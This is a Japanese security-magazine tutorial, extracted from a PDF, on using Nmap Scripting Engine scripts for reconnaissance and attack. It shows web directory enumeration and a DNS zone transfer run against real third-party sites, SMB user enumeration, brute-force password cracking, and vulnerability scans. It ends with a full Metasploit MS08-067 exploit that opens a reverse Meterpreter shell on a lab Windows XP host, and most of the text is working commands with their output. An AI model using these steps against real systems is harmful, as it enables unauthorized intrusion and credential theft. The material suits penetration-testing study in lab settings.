Find it! & Own it! まぜるな 危 険 のオンパレード NSE 文 TTS を 使 った 脆 弱 性 調 査 NSEはNmapを 単 なるポートスキャナーから 脆 弱 性 調 査 ツールへと 変 身 させる 機 能 拡 張 だ Metasploit Frameworkなどと 組 み 合 わせれば 最 強 のハッキングツールとなる 実 際 に 使 って みることでNmapの 新 たな 側 面 を 体 験 しよう はじめに ここでは Nmap Scripting Engine( 以 下 NSE) の 実 践 編 として ターゲットの 事 前 調 査 やパスワー ドクラック 脆 弱 性 のスキャンなど 実 例 を 挙 げな がら 紹 介 していこう NSE の 使 い 方 自 体 に 難 しい 点 はないため 基 本 となるコマンドを 理 解 してい れば 簡 単 に 利 用 することができるはずだ 実 践 例 によっては 調 査 から 攻 撃 の 過 程 で Nmap 以 外 のツール(Metasploit Framework など)を 使 用 したものも 含 まれているが 基 本 的 には スクリプ トの 使 用 例 のみを 簡 潔 に 紹 介 したものがメインだ 紙 幅 の 都 合 で 紹 介 できるスクリプトは 限 られて いる 今 回 紹 介 していないスクリプトなども 例 を 参 考 にしながら 試 してみると さらに 理 解 度 が 高 まるだろう なお 記 事 執 筆 時 のテスト 環 境 は クライア ントには BackTrack4 R2 を 使 用 しており ター ゲットとしてローカル に 設 置 した 脆 弱 性 の あ る Windows XP Professional/Windows 2003 Server(テスト 内 容 によっては 実 在 するサーバー) を 使 用 している 実 践 1 robots.txtで 指 定 される 巡 回 拒 否 ファイルをチェック 図 1 http-robots.txtの 実 行 root@bt:~# nmap -p80 --script=http-robots. txt www.byakuya-shobo.co.jp Starting Nmap 5.35DC1 ( http://nmap.org ) at 2011-01-15 01:01 JST Nmap scan report for www.byakuya-shobo. co.jp (210.239.35.163) Host is up (0.024s latency). 80/tcp open http robots.txt: has 1 disallowed entry _ /webadmin Nmap done: 1 IP address (1 host up) scanned in 0.49 seconds ポート 80 を 指 定 して 実 行 した 例 http-robots.txt はデフォルトスキャ ン(-sC)でも 実 行 される サーチエンジンのロボットなど クロー ラーの 巡 回 を 制 御 するために 多 くの Web サ イトでは robots.txt を 設 置 している 信 頼 できるクローラーは この robots.txt の 記 述 に 従 って Web サイトへのアクセスを 行 う ため Web サイト 管 理 者 がクロールされる ことを 望 まないページは robots.txt に 記 載 していることが 多 い つまり Web サイト 管 理 者 側 でアクセスされたくないページが 列 挙 されているため 攻 撃 の 糸 口 として 使 える 可 能 性 があるわけだ NSE で は discovery カテゴリに httprobots.txt として 用 意 されている NSE の デフォルトでもスキャンされるが 図 1 はこ 120
PART1 脆 弱 性 発 見 の のスクリプトを 指 定 して 白 夜 書 房 のオフィシャル Web サイトをスキャンした 例 だ webadmin ディ レクトリが 巡 回 拒 否 に 設 定 されていることがわか る 同 様 に 実 際 に robots.txt をスキャンして ア クセスされたくないディレクトリなどを 調 査 してみ ると 設 置 されている Web アプリケーションが 把 握 できるケースもあるだろう http-enum は 一 般 的 な Web アプリケー ションやサーバーのディレクトリやファイルを 列 挙 して 表 示 するためのスクリプトだ インターネット ユーザーには 表 向 き 隠 されているコンテンツ 図 2 http-enumの 実 行 やアプリケーション 関 連 のデータを 探 すなど root@bt:~# nmap -p80 --script=http-enum Web サイトの 調 査 に 役 立 つだろう www.byakuya-shobo.co.jp デフォルトでスキャンされるディレクト リ ファイル は /usr/share/nmap/nselib/ data の http-fingerprints に 記 載 されてい る 具 体 的 には /backup/ ディレクトリや /admin/ ディレクトリなどである これら は 自 分 で 作 成 したものを script-args で 指 定 (http-enum.fingerprintfile)することも 可 能 だ 実 践 2 Webサーバーのフォルダやファイルを 列 挙 する また script-args では ベースパスの 指 定 もできるので 必 要 な 場 合 はターゲットの パスを 付 加 するようにしよう 図 2 は 白 夜 書 房 のサイトをスキャンした 例 である /icons/ や /manual/ フォルダ そして /login.php が 存 在 していることがわかる Starting Nmap 5.35DC1 ( http://nmap.org ) at 2011-01-14 01:18 JST Nmap scan report for www.byakuya-shobo. co.jp (210.239.35.163) Host is up (0.0039s latency). 80/tcp open http http-enum: /icons/: Icons and images /login.php: Login /manual/: Manual directory (apache) _ /robots.txt: Robots file Nmap done: 1 IP address (1 host up) scanned in 1.12 seconds ポート 80(-p80)を 指 定 して http-enum を 実 行 した 例 http-enum 以 下 に 結 果 が 表 示 されていることがわかるだろう 実 践 3 ターゲットのゾーン 情 報 を 入 手 して 攻 略 の 手 がかりとする ゾーン 転 送 は DNS サーバーのゾーン 情 報 (ド メインに 対 する 名 前 解 決 の 情 報 )を 他 のサーバー へ 転 送 して 同 期 するために 行 われる DNS サーバーは 安 定 した 稼 働 を 実 現 しなけ ればならず そのために 通 常 は 複 数 の DNS サー バーが 用 意 されている これらの DNS サーバー で 同 じゾーン 情 報 を 同 期 するためには マスター データを 保 管 するプライマリ DNS サーバーのゾー ン 情 報 をセカンダリ(スレイブ)DNS サーバーへ 複 製 する 手 段 が 必 要 であり ゾーン 転 送 とはこれ を 指 している ただし このゾーン 情 報 には クラッカー が 欲 しがるサーバーやネットワークの 構 成 と いったターゲットサーバーを 攻 略 するための 手 がかりとなる 情 報 が 含 まれている 場 合 が ある このため 通 常 はプライマリ DNS サー バーでゾーン 転 送 の 要 求 を 受 けるセカンダリ DNS を 登 録 し 第 三 者 からのゾーン 転 送 要 求 は 受 け 付 けないなどのセキュリティ 対 策 が 行 われている しかし こうした 設 定 が 的 確 でない 場 合 第 三 者 が DNS サーバーのゾーン 情 報 を 入 手 することが 可 能 となる(Wikipedia のように 一 般 にゾーン 情 報 を 公 開 しているケースもある) NSE では dns-zone-transfer でゾーン 情 報 をチェックすることができるので 実 際 に 試 して みることにしよう また BackTrack4 R2 を 使 用 図 3 hostコマンドでdnsサーバーをチェックする root@bt:/# host -t ns hogecompany.com hogecompany.com name server ns1.hogedns01.net. hogecompany.com name server ns2.hogedns01.net. hogecompany.com の DNS サーバーが 列 挙 されたことがわかる 121
図 4 hostコマンドの-lオプションを 使 用 してDNSのゾーン 転 送 を 要 求 を 行 う root@bt:/# host -l hogecompany.com ns1.hogedns01.net Using domain server: Name: ns1.hogedns01.net Address: 69.225.212.189#53 Aliases: hogecompany.com name server ns1.hogedns01.net. hogecompany.com name server ns2.hogedns01.net. hogecompany.com has address 69.225.212.189 cpanel.hogecompany.com has address 69.225.212.189 ftp.hogecompany.com has address 69.225.212.189 localhost.hogecompany.com has address 127.0.0.1 webdisk.hogecompany.com has address 69.225.212.189 webmail.hogecompany.com has address 69.225.212.189 whm.hogecompany.com has address 69.225.212.189 Host hoge-shobo.co.jp.localdomain not found: 9(NOTAUTH) ; Transfer failed. ゾーン 転 送 要 求 に 成 功 するとターゲットの DNS 情 報 が 送 られてくる 図 5 dns-zone-transferの 実 行 例 root@bt:/# nmap --script dns-zone-transfer --scriptargs dnszonetransfer.domain=hogecompany.com ns1. hogedns01.net -p53 Starting Nmap 5.35DC1 ( http://nmap.org ) at 2011-01-19 15:52 JST Nmap scan report for ns1.hogedns01.net (69.225.212.189) Host is up (0.045s latency). 53/tcp open domain dns-zone-transfer: hogecompany.com SOA ns1.hogedns01.net mariangonzaga.gmail.com hogecompany.com MX hogecompany.com hogecompany.com NS ns1.hogedns01.net hogecompany.com NS ns2.hogedns01.net hogecompany.com A 69.225.212.189 cpanel.hogecompany.com A 69.225.212.189 ftp.hogecompany.com A 69.225.212.189 localhost.hogecompany.com A 127.0.0.1 mail.hogecompany.com CNAME webdisk.hogecompany.com A 69.225.212.189 webmail.hogecompany.com A 69.225.212.189 whm.hogecompany.com A 69.225.212.189 www.hogecompany.com CNAME _ hogecompany.com SOA ns1.hogedns01. net mariangonzaga.gmail.com Nmap done: 1 IP address (1 host up) scanned in 4.98 seconds DNS のゾーン 情 報 転 送 に 成 功 した 例 これで hogecomapny.com のネットワー ク 構 成 が 判 明 する しているのであれば Nmap を 利 用 しなくとも DNS Enum(dnsenum. pl)などでも 情 報 を 入 手 することが 可 能 だ host コマンドでターゲットの DNS サーバーを 調 査 はじめに host コマンドを 用 いて ターゲットの DNS サーバーを 調 査 す る ターゲットドメインの DNS サー バーは host -t オプション+ NS(リ ソースレコードに DNS サーバーを 指 定 )+ターゲットドメイン 名 でチェッ クできる ここでは host コマンド のオプションなどについての 解 説 は 割 愛 するので 詳 細 は man などで チェックしてほしい 実 行 すると 前 ページ 図 3 のよう に DNS サーバーの 一 覧 が 表 示 され るはずだ 続 いて この DNS サーバー から ターゲットドメインのゾーン 情 報 を 入 手 可 能 かチェックする( 実 在 す るサーバーであるため 修 正 した 仮 の ドメイン 名 としている) DDNS のゾーン 転 送 要 求 を 受 け 付 けるかチェックする 前 述 したように ほとんどの DNS サーバーでは 第 三 者 からの DNS の ゾーン 転 送 要 求 (AXFR)は 受 け 付 け ないが セキュリティ 設 定 の 甘 いター ゲットなどであれば 応 答 が 得 られ る 可 能 性 がある このため 表 示 された DNS サー バーの 結 果 を 元 に 続 けて host コ マンドの -l オプション を 使 用 して DNS のゾーン 転 送 を 要 求 してみよう (-l オプション+ターゲットドメイン 名 + DNS サーバー) DNS のゾーン 転 送 要 求 を 受 け 付 け た 場 合 は 図 4 のように 結 果 が 表 示 さ れる hostコマンドでターゲット のDNSサーバーを 調 査 DNSのゾーン 転 送 要 求 を 受 け 付 けるかチェックする 122
PART1 脆 弱 性 発 見 の dns-zone-transfer を 実 行 する dns-zone-transferを 実 行 する チェックが で き たら Nmap の dns-zonetransfer を 実 行 してみよう 図 5 ではポート 53 と Arguments で --script-args dnszonetransfer. domain=< ドメイン 名 > を 追 加 して ターゲッ トドメイン 名 を 指 定 している 結 果 から ターゲットのサーバーやネットワー ク 構 成 などが 把 握 できれば 攻 略 の 糸 口 を 見 つ け 出 せる 可 能 性 が 出 てくるだろう NSE のスクリプトの 中 でも 有 用 と 言 えるもの に SMB 関 連 の ス クリプト が あ る SMB と は Server Message Block の 略 で Windows のネッ トワーク 共 有 で 使 われるプロトコルだ ここで は 実 用 的 な SMB スクリプトをいくつか 紹 介 し ていこう なお 記 事 では 主 に Windows マシン を 対 象 にしているが SMB をサポートしている Metasploitable に 対 しても 有 効 だ ユーザーの 一 覧 を 列 挙 する は じ め は smb-enum-users だ こ れ は ユーザーの 列 挙 を 行 うスクリプトで ターゲッ トのユーザー 名 を 簡 単 に 把 握 することができる Windows XP をスキャンした 例 が 図 6 である 結 果 として 表 示 されたユーザー 名 一 覧 は ユーザー 名 のみ に 整 形 したテキストファイルとして 保 存 しておけば THC-Hydra のようなブルー トフォース パスワードクラッキングツールで ユーザー 名 辞 書 として 利 用 できる NSE のブ ルートフォースアタックでも 同 様 にユーザー 名 として 指 定 できるが これについては 後 述 する 実 践 4 Windowsネットワーク 共 有 を 攻 略 する ユーザーの 一 覧 を 列 挙 する 共 有 されるファイルを 一 覧 表 示 共 有 されるファイルを 一 覧 表 示 次 に 同 様 にしてファイル 共 有 の 一 覧 を 列 挙 する smb-enum-shares を 利 用 してみよう 事 前 に ユーザー 名 パスワードを 把 握 して いるのであれば --script-args=smbuser=< ユーザー 名 >,smbpass=< パスワード > を 追 加 することで 次 ページ 図 7のように 該 当 ユー ザーでのファイル 共 有 状 況 の 結 果 をチェック することができる( 後 述 する smb-brute と 同 時 実 行 でも 同 様 ) これにより 該 当 ユー ザーの 共 有 状 況 ( 共 有 しているフォルダ 名 アクセス 権 など)も 調 査 できる 図 6 smb-brute でブルートフォースアタック 前 述 し た よ う に NSE で も smb-brute を 使 用 してのブルートフォースアタックは 可 能 だ NSE を 使 ったブルートフォースアタックに 関 して は 他 にも MySQL や PostgreSQL Microsoft SQL Server HTTP Basic 認 証 など 多 数 のスクリプト が 用 意 されているので smb-brute だけでなく ターゲットとして Metasploitable やクライアン トとして 利 用 している BackTrack などを 用 いてパ スワードクラックのテストをしてみるのもいいだ ろう smb-bruteでブルートフォースアタック p125 の 図 8 が 実 際 にクラックした 例 である --script-args=userdb=<ファイル 名 >,passdb=< ファイル 名 > を 追 加 して 指 定 して ユーザー 名 一 ターゲットを 指 定 してsmb-enum-usersを 実 行 root@bt:~# nmap -p445 --script=smb-enum-users 192.168.241.136 Starting Nmap 5.35DC1 ( http://nmap.org ) at 2011-01-16 08:41 JST Nmap scan report for 192.168.241.136 Host is up (0.0011s latency). 445/tcp open microsoft-ds MAC Address: 00:0C:29:DE:D4:6C (VMware) smb-enum-users: USER01-B353585E\Administrator (RID: 500) USER01-B353585E\ASPNET (RID: 1004) USER01-B353585E\Guest (RID: 501) USER01-B353585E\HelpAssistant (RID: 1000) USER01-B353585E\IUSR _ USER01-B353585E (RID: 1005) USER01-B353585E\IWAM _ USER01-B353585E (RID: 1006) USER01-B353585E\SUPPORT _ 388945a0 (RID: 1002) USER01-B353585E\test (RID: 1007) USER01-B353585E\user01 (RID: 1003) _ USER01-B353585E\user02 (RID: 1008) Nmap done: 1 IP address (1 host up) scanned in 0.58 seconds smb-enum-users でユーザーの 一 覧 を 取 得 したところ ユーザー 自 身 が 作 った test user01 user02 があるのがわかる 123
図 7 ユーザー 名 パスワードを 指 定 してmb-enum-sharesを 実 行 する root@bt:~# nmap -p445 --script=smb-enum-shares --script-args=smbuser=test,smbpass=test 192.168.241.136 Starting Nmap 5.35DC1 ( http://nmap.org ) at 2011-01-21 03:34 JST Nmap scan report for 192.168.241.136 Host is up (0.00022s latency). 445/tcp open microsoft-ds MAC Address: 00:0C:29:DE:D4:6C (VMware) smb-enum-shares: ADMIN$ Type: STYPE _ DISKTREE _ HIDDEN Comment: Remote Admin Users: 0, Max: <unlimited> Path: C: WINDOWS Anonymous access: <none> Current user ('test') access: READ/WRITE C$ Type: STYPE _ DISKTREE _ HIDDEN Comment: Default share Users: 0, Max: <unlimited> Path: C: Anonymous access: <none> Current user ('test') access: READ/WRITE IPC$ Type: STYPE _ IPC _ HIDDEN Comment: Remote IPC Users: 1, Max: <unlimited> Path: Anonymous access: READ <not a file share> Current user ('test') access: READ <not a file share> test Type: STYPE _ DISKTREE Comment: Users: 0, Max: <unlimited> Path: C: test Anonymous access: <none> Current user ('test') access: READ test2 Type: STYPE _ DISKTREE Comment: Users: 0, Max: <unlimited> Path: C: Documents and Settings user01 xc7 xb9 xaf xc8 xc3 xd7 test2 Anonymous access: <none> _ Current user ('test') access: READ Nmap done: 1 IP address (1 host up) scanned in 0.44 seconds ユーザー 名 =test パスワード =test を 指 定 してのスキャン 結 果 test ユーザーの 共 有 状 況 などが 確 認 できる 覧 のテキストファイルを 読 み 込 んでいる ターゲットシステム 情 報 の 表 示 ターゲットシステム 情 報 の 表 示 ターゲットであるWindows ユーザーのパスワー ドクラックに 成 功 したら そのアカウントを 用 い て ターゲットのシステム 情 報 を smb-systeminfo を 使 用 して 表 示 させてみよう smb-enum-shares の 時 と 同 様 に --script-args=smbuser=< ユーザー 名 >,smbpass =< パスワード > を 追 加 して 指 定 する 紙 幅 の 都 合 で 実 行 例 は 割 愛 させていただくが ターゲッ トマシンの 情 報 が 表 示 されるはずだ インストー ルされている OS の 種 類 や CPU 情 報 ブラウザー の 種 類 といった 情 報 を 確 認 することができる( 管 理 者 権 限 のユーザーの 場 合 ) また 記 事 ではわかりやすくするよう PC を 1 台 ずつ 指 定 してスキャンしているが 当 然 ながら 複 数 台 のマシンをスキャンしたり スクリプトを 連 続 して 指 定 するなど 応 用 的 な 使 い 方 も 可 能 なので 読 者 なりに 組 み 合 わせて 使 ってみるとよいだろう 124
PART1 脆 弱 性 発 見 の 図 8 ユーザー 名 パスワードの 辞 書 を 使 ってsmb-bruteを 実 行 root@bt:~# nmap -p445 --script=smb-brute --script-args=userdb=test. txt,passdb=test.txt 192.168.241.136 Starting Nmap 5.36TEST3 ( http://nmap.org ) at 2011-01-14 02:27 JST Nmap scan report for 192.168.241.136 Host is up (0.0010s latency). 445/tcp open microsoft-ds MAC Address: 00:0C:29:DE:D4:6C (VMware) smb-brute: guest:<blank> => Login was successful test:test => Login was successful user01:test => Login was successful _ user02:test => Login was successful Nmap done: 1 IP address (1 host up) scanned in 0.67 seconds ユーザー 名 とパスワードのそれぞれに 辞 書 を 指 定 してスキャンした 例 ターゲットは 図 7と 同 じものを 使 用 している 追 加 でアカウン トがクラックされていることがわかる 実 践 5 NSEを 利 用 してターゲットの 脆 弱 性 を 調 査 する これまでは NSE を 使 ったターゲットの 事 前 調 査 などをメインに 紹 介 してきたが ここからは NSE の vuln カテゴリに 属 するスクリプトを 使 用 する 例 として ターゲットの 選 定 ~ 脆 弱 性 スキャ ン そしてアタックを 行 うまでの 一 例 を 流 れに 沿 っ て 解 説 していこう 取 り 上 げ る NSE スクリプト は smb-checkvulns と http-iis-webdav-vuln の 2 つである なお ここからのターゲットは Windows OS と なるため テストは 記 事 と 同 じ 脆 弱 性 を 持 つ 環 境 を 構 築 した 上 で 行 ってほしい ターゲットの 脆 弱 性 をチェックする ターゲットの 脆 弱 性 をチェックする smb-check-vulns では MS06-025 や MS07-029 Conficker(マルウェア)への 感 染 など 合 計 6 つ のチェックができるようになっている はじめに 答 えを 言 ってしまっては 面 白 味 には 欠 けるのだが ここでは smb-check-vulns でチェッ クできる 脆 弱 性 の 中 でも( 現 状 では) 最 もヒット 率 が 高 そうなものとして MS08-067(Server サー ビスの 脆 弱 性 ) 1 を 取 り 上 げることとした 具 体 的 な 手 順 としては ターゲットネットワー ク 上 でのターゲット 選 定 から 実 際 に 脆 弱 性 を 突 い たアタックまでである もちろん ここで 紹 介 す る 手 法 以 外 にもやり 方 はいくつも 考 えられるので あくまでも 一 例 として 見 てほしい smb-os-discoveryを 実 行 して 詳 しいOS 情 報 を 入 手 する smb-os-discoveryを 実 行 して 詳 しいOS 情 報 を 入 手 する ターゲットの 調 査 や 攻 撃 の 方 法 としては 最 初 に ping sweep(-sp オプション)を 実 行 してター ゲットの 選 定 をしたり OS Detection(-O オプショ ン)を 実 行 してホストのポートの 開 閉 状 況 や OS のチェックをしたりするのが 一 般 的 だ ただし 今 回 の 記 事 で は 紙 幅 の 都 合 から NSE を 使 い OS の 詳 しい 情 報 を 得 ることとした い -O オプションでは ターゲットの OS はいく つかの 候 補 が 提 示 されるに 止 まるが smb-osdiscovery ならばさらに 絞 り 込 んだ 結 果 を 返 して くれる 次 ページの 図 9 は Windows と 思 われる 2 台 の マシンに smb-os-discovery を 実 行 した 結 果 だが 192.168.241.136 が Windows XP 192.168.241.137 が Windows Server 2003 Build 3790 Service Pack 2 ということがわかった こうして 情 報 を 絞 り 込 めば 先 述 の SMB 関 連 の NSE スクリプト smb-enum-users や smbbrute を 併 用 してアカウントをクラックするなど 攻 略 の 幅 をさらに 広 げることができるだろう 1 マイクロソフト セキュリティ 情 報 MS08-067 http://www.microsoft.com/japan/technet/security/bulletin/ms08-067.mspx 125
図 9 smb-os-discoveryを 実 行 して 詳 細 なOS 情 報 を 入 手 する root@bt:~# nmap -p445 --script=smb-os-discovery 192.168.241.136 192.168.241.137 Starting Nmap 5.35DC1 ( http://nmap.org ) at 2011-01-10 13:37 JST Nmap scan report for 192.168.241.136 smb-os-discovery: OS: Windows XP (Windows 2000 LAN Manager) OS Name: WORKGROUP\USER01-B353585E _ System time: 2011-01-22 03:37:25 UTC+9 Nmap scan report for 192.168.241.137 smb-os-discovery: OS: Windows Server 2003 3790 Service Pack 2 (Windows Server 2003 5.2) OS Name: WORKGROUP\VOENMEH-D0F286A _ System time: 2011-01-22 03:37:25 UTC+3 Nmap done: 2 IP addresses (2 hosts up) scanned in 2.03 seconds smb-os-discovery の 実 行 例 -O オプションを 使 うよりもさらに 詳 しい OS 情 報 を 得 ることができる smb-check-vulnsを 実 行 して ターゲットの 脆 弱 性 を 調 査 smb-check-vulnsを 実 行 してターゲットの 脆 弱 性 を 調 査 さて ここでお 待 ちかねの smb-check-vulns が 登 場 する ターゲットの 脆 弱 性 調 査 を 行 うのだ 読 者 からの じゃあはじめから Nmap の smbcheck-vulns でスキャンすればいいじゃない と いう 声 も 聞 こえそうだが それも 当 然 アリだろう 今 回 の 例 でいえば ping sweepやsmb-osdiscoveryなどでのos 情 報 の 入 手 はすっ 飛 ば して nmap -p445 --script=smb-check-vulns 192.168.241.* と 実 行 しても 脆 弱 性 のある Windowsマシンの 選 定 はできる しかし 事 前 調 査 をしておくことで ターゲッ トネットワーク 上 の 他 のターゲット( 例 えば Linux など)があるかどうかも 把 握 できるため より 多 くのターゲットを 選 定 できる 可 能 性 も 出 てくる 今 回 選 定 した 2 台 のターゲットをスキャンし た 結 果 が 図 10 である いずれのターゲットも MS08-067: VULNERABLE つ ま り MS08-067 の 脆 弱 性 が 放 置 されている 状 況 という 結 果 と なった Metasploit Frameworkを 使 用 して 脆 弱 性 を 突 く Metasploit Frameworkを 使 用 して 脆 弱 性 を 突 く スキャン 結 果 からターゲットに MS08-067 の 脆 弱 性 があることがわかったら 次 にその 脆 弱 性 を 突 いてターゲットに 侵 入 する ここでは Metasploit Framework を 使 用 した 例 を 示 す Metasploit Framework は p140 から 詳 細 に 解 説 されているので 単 に MS08-067 の Exploit を 実 行 する 手 順 のみを 紹 介 しておこう( 図 11) 攻 撃 が 成 功 すればセッションが 開 くので 結 果 はすぐにわかるはずだ これで Nmap を 使 用 し た MS08-067 の 攻 略 のシナリオはゲームオーバー となる Metasploitのautopwnで 攻 撃 を 自 動 化 Metasploit の Autopwn で 攻 撃 を 自 動 化 今 回 のような 攻 撃 は Metasploit の autopwn を 使 用 して 簡 単 に 行 うことも 可 能 だ ペネトレー ションテストの 自 動 化 ツール Fast-Track を 使 え ばよい BackTrack4 R2 の Penetration メニ ュー か ら Fast-Track Interactive を 選 択 して 簡 単 な 設 定 を 行 えば 自 動 的 に 脆 弱 性 へのアタックが 行 わ 126
PART1 脆 弱 性 発 見 の れ 成 功 すればセッションが 開 く 実 行 している 内 容 は Metasploit の autopwn と 全 く 同 じことだが Fast-Track では 単 純 にター ゲットを 指 定 する 程 度 の 作 業 で 完 了 してしまうた め 誰 でも 簡 単 に 攻 撃 できてしまう コマンドラ インが 苦 手 なユーザーであれば Armitage(p166 ~)を 利 用 してみるといいだろう いうまでもな いが こうしたツールを 自 分 が 管 理 していないサー バーやコンピューターへ 向 けて 実 行 しないよう 注 意 してほしい 図 10 smb-check-vulnsでターゲットの 脆 弱 性 をスキャン root@bt:~# nmap -p445 --script=smb-check-vulns 192.168.241.136 192.168.241.137 Starting Nmap 5.35DC1 ( http://nmap.org ) at 2011-01-10 14:15 JST Nmap scan report for 192.168.241.136 Host is up (0.00081s latency). 445/tcp open microsoft-ds MAC Address: 00:0C:29:DE:D4:6C (VMware) smb-check-vulns: MS08-067: VULNERABLE Conficker: Likely CLEAN regsvc DoS: CHECK DISABLED (add '--script-args=unsafe=1' to run) SMBv2 DoS (CVE-2009-3103): CHECK DISABLED (add '--script-args=unsafe=1' to run) MS06-025: CHECK DISABLED (remove 'safe=1' argument to run) _ MS07-029: CHECK DISABLED (remove 'safe=1' argument to run) Nmap scan report for 192.168.241.137 Host is up (0.0010s latency). 445/tcp open microsoft-ds MAC Address: 00:0C:29:20:81:67 (VMware) smb-check-vulns: MS08-067: VULNERABLE Conficker: Likely CLEAN regsvc DoS: CHECK DISABLED (add '--script-args=unsafe=1' to run) SMBv2 DoS (CVE-2009-3103): CHECK DISABLED (add '--script-args=unsafe=1' to run) MS06-025: CHECK DISABLED (remove 'safe=1' argument to run) _ MS07-029: CHECK DISABLED (remove 'safe=1' argument to run) Nmap done: 2 IP addresses (2 hosts up) scanned in 1.90 seconds いずれのターゲットも MS08-067 の 脆 弱 性 が VULNERABLE となっていることがわかる 図 11 Metasploit Frameworkを 使 ってMS08-067の 脆 弱 性 を 突 く (_) _ '_ ` _ \ / _ \ / _` / '_ \ / _ \ / (_ \ \ _) (_) _ _ _ _ \ \ \,_ /. / _ \ / _ \ _ =[ metasploit v3.6.0-dev [core:3.6 api:1.0] + -- --=[ 642 exploits - 324 auxiliary + -- --=[ 216 payloads - 27 encoders - 8 nops =[ svn r11617 updated today (2011.01.21) 次 ページに 続 く 127
msf > search ms08-067 ms08-067 [*] Searching loaded modules for pattern 'ms08-067'... Exploits ======== Name Disclosure Date Rank Description ---- --------------- ---- ----------- windows/smb/ms08 _ 067 _ netapi 2008-10-28 great Microsoft Server Service Relative Path Stack Corruption msf > use windows/smb/ms08 _ 067 _ netapi ms08 _ 067 _ netapi set PAYLOAD msf exploit(ms08 _ 067 _ netapi) > show options Module options (exploit/windows/smb/ms08 _ 067 _ netapi): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 192.168.241.136 yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Payload options (windows/meterpreter/reverse _ tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique: seh, thread, none, process LHOST 192.168.241.135 yes The listen address LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic Targeting msf exploit(ms08 _ 067 _ netapi) > exploit Exploit [*] Started reverse handler on 192.168.241.135:4444 [*] Automatically detecting the target... [*] Fingerprint: Windows XP - Service Pack 2 - lang:japanese [*] Selected Target: Windows XP SP2 Japanese (NX) [*] Attempting to trigger the vulnerability... [*] Sending stage (749056 bytes) to 192.168.241.136 [*] Meterpreter session 1 opened (192.168.241.135:4444 -> 192.168.241.136:1130) at Sat Jan 22 06:23:44 +0900 2011 meterpreter > sysinfo sysinfo Computer: USER01-B353585E OS : Windows XP (Build 2600, Service Pack 2). Arch : x86 Language: ja _ JP meterpreter > pwd pwd C: WINDOWS system32 search コマンドで 実 行 する Exploit を 検 索 し set コマンドでターゲットおよび Payload などを 設 定 する 最 後 にオプションを 確 認 した 上 で Exploit を 実 行 すればよい 図 は 侵 入 に 成 功 している 例 である 128
PART1 脆 弱 性 発 見 の 実 践 6 MS09-020の 脆 弱 性 を 調 査 続 い て http-iis-webdav-vuln を 利 用 し た 例 を 紹 介 し よう http-iis-webdav-vuln は MS09-020 の 脆 弱 性 をスキャンして 結 果 を 表 示 す るもので はじめに MS09-020 の 脆 弱 性 につい て 把 握 しておく 必 要 があるだろう マイクロソフトセキュリティ 情 報 には 以 下 のよう に 記 載 されている ことがわかる そこで NSE の http-headers を 実 行 してみる 結 果 が 図 12 である Server: Microsoft-IIS/6.0 と 表 示 されていることがわかるだろう また 先 ほどの smb-os-discovery によって OS は Windows Server 2003 3790 Service Pack 2(Windows Server 2003 5.2) ということもわかっている 攻 撃 者 が 特 別 な 細 工 がされたHTTPリクエストを 認 証 を 必 要 とするWebサイトに 送 信 した 場 合 特 権 が 昇 格 される 可 能 性 があります これらの 脆 弱 性 により 攻 撃 者 により 許 可 する 認 証 の 種 類 が 指 定 されているIISの 構 成 が 回 避 される 可 能 性 があり ますが 特 定 のユーザーによりアクセスできるファ イルを 検 証 するファイルシステムベースのアクセス 制 御 リスト(ACL)のチェックが 回 避 されることは ありません これらの 脆 弱 性 が 悪 用 された 場 合 で も 攻 撃 者 の 行 動 はファイルシステムのACLにより 匿 名 ユーザーアカウントへ 与 えられた 許 可 の 範 囲 に 制 限 されます 簡 潔 に 言 えば 該 当 する OS で WebDAV を 使 用 しており かつ 脆 弱 性 がある 場 合 認 証 が 必 要 な 保 護 されたフォルダへ 攻 撃 者 が 細 工 がされた HTTP リクエストを 送 信 することで 認 証 なしでアクセスでき てしまうというものだ 脆 弱 性 のあるシステムは IIS5.0/5.1/ 6.0 および WebDAV が 有 効 なシステ ムである さらに 詳 細 な 情 報 は マ イクロソフトセキュリティ 情 報 2 を 参 照 してほしい http-headersで ターゲットを 選 定 する http-headersでターゲットを 選 定 する ここでは p125 からの MS08-067 の 脆 弱 性 調 査 の 続 きという 想 定 で ターゲットの 選 定 なども 前 述 の 記 事 を 参 照 しながら 読 み 進 めていただきたい ターゲットの 1 つ 192.168.241.137 に ping sweep OS Detection を 実 行 すると ポート 80 が 開 いている http-iis-webdav-vuln で 脆 弱 性 を 調 査 する ターゲットが Windows Server 2003 + IIS6.0 であるということで NSE の http-iis-webdavvuln を 実 行 してみよう 次 ページの 図 13 では シングルホストに 対 してスキャンしているが もちろんターゲットを 192.168.241.* のように 範 囲 指 定 することも 可 能 だ 余 談 だが Metasploitable に 対 して httpiis-webdav-vuln を 実 行 すると スキャン 結 果 に は http-iis-webdav-vuln: ERROR: This web server is not supported. とこの Web サーバー はサポートしていないと 表 示 される 図 を 見 るとわかるように ターゲットである Windows Server 2003(192.168.241.137)のスキャ ン 結 果 は WebDAV is ENABLED であり 脆 弱 図 12 http-headersの 実 行 例 http-iis-webdav-vulnで 脆 弱 性 を 調 査 する root@bt:/# nmap -p80 --script=http-headers 192.168.241.137 Starting Nmap 5.35DC1 ( http://nmap.org ) at 2011-01-09 09:16 JST Nmap scan report for 192.168.241.137 Host is up (0.00024s latency). 80/tcp open http http-headers: Content-Length: 1433 Content-Type: text/html Content-Location: http://192.168.241.137/iisstart.htm Last-Modified: Fri, 21 Feb 2003 15:48:30 GMT Accept-Ranges: bytes ETag: "05b3daec0d9c21:25c" Server: Microsoft-IIS/6.0 Web IIS X-Powered-By: ASP.NET Date: Sat, 22 Jan 2011 00:16:46 GMT Connection: close _ (Request type: HEAD) MAC Address: 00:0C:29:20:81:67 (VMware) Web サービスを 提 供 しているプログラムが IIS6.0 だとわかる 2 マイクロソフト セキュリティ 情 報 MS09-20 http://www.microsoft.com/japan/technet/security/bulletin/ms09-020.mspx 129
